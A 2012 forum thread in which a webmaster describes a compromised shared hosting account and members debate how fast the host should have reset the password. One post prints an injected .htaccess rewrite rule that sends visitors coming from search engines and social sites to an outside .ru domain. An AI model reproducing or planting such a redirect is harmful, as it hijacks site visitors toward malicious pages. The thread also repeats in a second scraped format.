Hosting Issue.. Am I right or wrong? - GoFuckYourself.com

PornHustler · 07-01-2012, 01:11 PM

I realized today that someone had accessed my server, not sure how they got my password as I havent even logged in in awhile, if thats how they accessed it.

I submit tickets and chat with support. I inform them that some of my sites are being redirected and that someone has access to my server account. They confirm that the changes were done today and I let them know I DID NOT do them. I make them aware that someone without my authorizing them to is making changes to my account.

I submit a ticket with a tag of "Critical" that can they please change the password. This happened while chatting with them.

It has now been over 30 minutes and they have yet to update the ticket with a new password. I can't even access my own server to correct the redirects.

Am I wrong to think this should have been taken care of first??? Should I have more patience and give them more time to change the password?

When chatting with them I asked them to speed up the change because someone is making changes. I got a response that once the support "chat" was over they could get on to making the changes.

Update:

It took them 46 min from initial ticket to update the password. This was with them being aware of the hack...

Am I too impatient or am I right that it took too long?

raymor · 07-01-2012, 01:21 PM

Obviously the quicker the better, but I'd say 46 minutes isn't too far off from the average host. We've waited MONTHS to get simple things done by two hosts who are highly regarded on GFY.

For the friends we host, sometimes.things lime that take 90 seconds, sometimes closer to the 46 minutes you experienced with whatever company you are with.

ErectMedia · 07-01-2012, 01:28 PM

if the host doesn't have phone support then dump them, I can call GoDaddy or Liquid Web and have things done in minutes which is the reason I put important sites with companies that actually own their own data center

shake · 07-01-2012, 01:49 PM

Seems too slow for something that important.

baddog · 07-01-2012, 01:58 PM

Quote:

Originally Posted by ErectMedia

if the host doesn't have phone support then dump them, I can call GoDaddy or Liquid Web and have things done in minutes which is the reason I put important sites with companies that actually own their own data center

We have phone support but there is no way in hell that I am changing a password based on a telephone call. How do I know who I am talking to? And you don't need to go to a datacenter to change a password.

Babaganoosh · 07-01-2012, 02:07 PM

Managed or unmanaged?

PornHustler · 07-01-2012, 02:23 PM

Its a shared server. Its also a well respected hosting company here on GFY.

I guess my issue was once they were aware of the hack (through support chat) and I had already submitted a ticket I expected it to have priority. It was 20+ min after chat ended before they changed the password.

ErectMedia · 07-01-2012, 02:42 PM

Quote:

Originally Posted by baddog

And you don't need to go to a datacenter to change a password.

Was just a general statement as in the beginning many years ago if I had issues with a hosting company I would inform them then they would inform the data center which makes things a longer process. Now I can call liquid web and they can walk right over to the server as they own the data center and are staffed there http://www.liquidweb.com/datacenter/ so in my opinion a company that owns it's data center makes repairs/replacements a much quicker resolution.

Not saying that if you don't own your space you can't be good as I had my own small hosting company back in 2002 with zero complaints over a few years and I didn't own just leased a few servers. I still own the domain now 10 years old and had thoughts of bringing it back but too many projects requiring time now I think to take that on.

Tijuana_Tom · 07-01-2012, 02:44 PM

The customer is always right.

baddog · 07-01-2012, 08:29 PM

Quote:

Originally Posted by Tijuana_Tom

The customer is always right.

Not true; and letting them think otherwise is not fair to them. I am pretty sure our clients appreciate being informed when they are wrong.

lazycash · 07-01-2012, 08:38 PM

Another webair success story

SatansCandy · 07-01-2012, 08:41 PM

Quote:

Originally Posted by Tijuana_Tom

The customer is always right.

God is always right and most of you will learn the hard way.

"The tares are the children of Satan, the father of lust. Bind the tares and burn them. Cast them into the everlasting fire" - Jesus

"They have eyes filled with lust that cannot cease from sin. Cursed children" - 2 Peter

raymor · 07-01-2012, 08:44 PM

Quote:

Originally Posted by baddog

Not true; and letting them think otherwise is not fair to them. I am pretty sure our clients appreciate being informed when they are wrong.

Many times people appreciate being offered an option even better than what they had in mind.

I used to tell customers when they were wring. I've tried to stop telling customers they are wrong and instead simply offer alternative answers.

ideaworx · 07-02-2012, 03:09 PM

Quote:

Originally Posted by lazycash

Another webair success story

+1 +1 ... guys have really rattled my cage today. Really not happy with their service.

freecartoonporn · 07-02-2012, 08:42 PM

imho your host is pretty slow.,

if ticket priority is critical then 46 minutes are too much.

leg4 · 07-02-2012, 08:46 PM

46 mins is not that slow for an issue like this...

PornHustler · 07-02-2012, 09:10 PM

Well, they didnt get into my account through FTP. As of right now almost every site is being redirected with the following:

Code:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|youtube|wikipedia|excite|altavista|msn|aol|goto|infoseek|lycos|search|bing|dogpile|facebook|twitter|live|myspace|linkedin|flickr)\.(.*)																								RewriteRule ^(.*)$ http://medis-2011.ru/meteos?2 [R=301,L]													</IfModule>

Even sites that were "fixed" have been re-routed again.

The host thinks the server was hacked by using:

mysite.com/wp-system.php

They say that how they got in.

There is also virus that is on my server: PUA.HTML.Crypt-8

BTW this is not Webair...

oscer · 07-02-2012, 09:35 PM

Have host Restrict or Change SSH ports ( If its a Dedicated )

Use of firewall is never a bad thing ...

Having phone support is good we have it , Also Gmail Chat which is instant or putting in a trouble ticket should always be done relatively quickly but everything is documented which is good !

Adraco · 07-03-2012, 12:18 AM

Quote:

Originally Posted by PornHustler

I realized today that someone had accessed my server, ...

I submit tickets and chat with support. I inform them that some of my sites are being redirected and that someone has access to my server account. ...

...

It has now been over 30 minutes and they have yet to update the ticket with a new password. I can't even access my own server to correct the redirects.

Quote:

Originally Posted by PornHustler

Its a shared server. ...

I guess my issue was once they were aware of the hack (through support chat) and I had already submitted a ticket I expected it to have priority. It was 20+ min after chat ended before they changed the password.

Ohh, so you have a shared account, not your own server, okay then...
To have something dealt with, in 20 minutes on a shared account - I would think that is pretty good.

chaze · 07-03-2012, 12:26 AM

If chatting they should be able to do it in real time with proof of ownership, weird unless they have some type of outsourced chat support.

I will say I refuse to work with outsourced support with any company. They just waste everyone's time.

07-01-2012, 01:11 PM	#1
PornHustler Confirmed User Join Date: May 2009 Posts: 456	Hosting Issue.. Am I right or wrong? I realized today that someone had accessed my server, not sure how they got my password as I havent even logged in in awhile, if thats how they accessed it. I submit tickets and chat with support. I inform them that some of my sites are being redirected and that someone has access to my server account. They confirm that the changes were done today and I let them know I DID NOT do them. I make them aware that someone without my authorizing them to is making changes to my account. I submit a ticket with a tag of "Critical" that can they please change the password. This happened while chatting with them. It has now been over 30 minutes and they have yet to update the ticket with a new password. I can't even access my own server to correct the redirects. Am I wrong to think this should have been taken care of first??? Should I have more patience and give them more time to change the password? When chatting with them I asked them to speed up the change because someone is making changes. I got a response that once the support "chat" was over they could get on to making the changes. Update: It took them 46 min from initial ticket to update the password. This was with them being aware of the hack... Am I too impatient or am I right that it took too long? __________________ Contact ICQ: 570768377 Sub 1:440 Blog Converting Sponsor

07-01-2012, 01:21 PM	#2
raymor Confirmed User Join Date: Oct 2002 Posts: 3,745	Obviously the quicker the better, but I'd say 46 minutes isn't too far off from the average host. We've waited MONTHS to get simple things done by two hosts who are highly regarded on GFY. For the friends we host, sometimes.things lime that take 90 seconds, sometimes closer to the 46 minutes you experienced with whatever company you are with. __________________ For historical display only. This information is not current: support@bettercgi.com ICQ 7208627 Strongbox - The next generation in site security Throttlebox - The next generation in bandwidth control Clonebox - Backup and disaster recovery on steroids

07-01-2012, 01:28 PM	#3
ErectMedia Confirmed Chicago Pimp Industry Role: Join Date: Aug 2004 Location: Chicago Posts: 7,100	if the host doesn't have phone support then dump them, I can call GoDaddy or Liquid Web and have things done in minutes which is the reason I put important sites with companies that actually own their own data center __________________ Domain Name Registration Web3 Domains Last edited by ErectMedia; 07-01-2012 at 01:29 PM..

07-01-2012, 02:07 PM	#6
Babaganoosh ♥♥♥ Likes Hugs ♥♥♥ Industry Role: Join Date: Nov 2001 Location: /home Posts: 15,841	Managed or unmanaged? __________________ I like pie.

07-01-2012, 02:23 PM	#7
PornHustler Confirmed User Join Date: May 2009 Posts: 456	Its a shared server. Its also a well respected hosting company here on GFY. I guess my issue was once they were aware of the hack (through support chat) and I had already submitted a ticket I expected it to have priority. It was 20+ min after chat ended before they changed the password. __________________ Contact ICQ: 570768377 Sub 1:440 Blog Converting Sponsor

07-01-2012, 01:49 PM	#4
shake frc Industry Role: Join Date: Jul 2003 Location: Bitcoin wallet Posts: 4,663	Seems too slow for something that important.

07-01-2012, 02:44 PM	#9
Tijuana_Tom So Fucking Banned Industry Role: Join Date: May 2011 Location: 90210 Posts: 668	The customer is always right.

07-01-2012, 08:38 PM	#11
lazycash Troll Patrol Industry Role: Join Date: Aug 2002 Location: Local Socal Posts: 15,214	Another webair success story __________________ "WTF, on google you can find the answer to every question in human history, EXCEPT how to convert cams.. Its crazy..." VenusBlogger

07-02-2012, 08:42 PM	#15
freecartoonporn Confirmed User Industry Role: Join Date: Jan 2012 Location: NC Posts: 7,683	imho your host is pretty slow., if ticket priority is critical then 46 minutes are too much. __________________ SSD Cloud Server, VPS Server, Simple Cloud Hosting \| DigitalOcean

07-02-2012, 08:46 PM	#16
leg4 Confirmed User Join Date: May 2003 Location: Texas Posts: 4,429	46 mins is not that slow for an issue like this... __________________ >>> Contact me here email me here

07-02-2012, 09:10 PM	#17
PornHustler Confirmed User Join Date: May 2009 Posts: 456	Well, they didnt get into my account through FTP. As of right now almost every site is being redirected with the following: Code: <IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{HTTP_REFERER} ^.(google\|ask\|yahoo\|youtube\|wikipedia\|excite\|altavista\|msn\|aol\|goto\|infoseek\|lycos\|search\|bing\|dogpile\|facebook\|twitter\|live\|myspace\|linkedin\|flickr)\.(.) RewriteRule ^(.)$ http://medis-2011.ru/meteos?2 [R=301,L] </IfModule> Even sites that were "fixed" have been re-routed again. The host thinks the server was hacked by using: mysite.com/wp-system.php They say that how they got in. There is also virus that is on my server: PUA.HTML.Crypt-8 BTW this is not Webair... __________________ Contact ICQ: 570768377 Sub 1:440 Blog Converting Sponsor Last edited by PornHustler; 07-02-2012 at 09:13 PM..*

07-02-2012, 09:35 PM	#18
oscer Confirmed User Industry Role: Join Date: Jan 2001 Location: Baltimore Posts: 2,834	Have host Restrict or Change SSH ports ( If its a Dedicated ) Use of firewall is never a bad thing ... Having phone support is good we have it , Also Gmail Chat which is instant or putting in a trouble ticket should always be done relatively quickly but everything is documented which is good ! __________________ XR Networks Dedicated \| VPS \| Shared Hosting ICQ 42602565

07-03-2012, 12:26 AM	#20
chaze Confirmed User Industry Role: Join Date: Aug 2002 Posts: 9,752	If chatting they should be able to do it in real time with proof of ownership, weird unless they have some type of outsourced chat support. I will say I refuse to work with outsourced support with any company. They just waste everyone's time.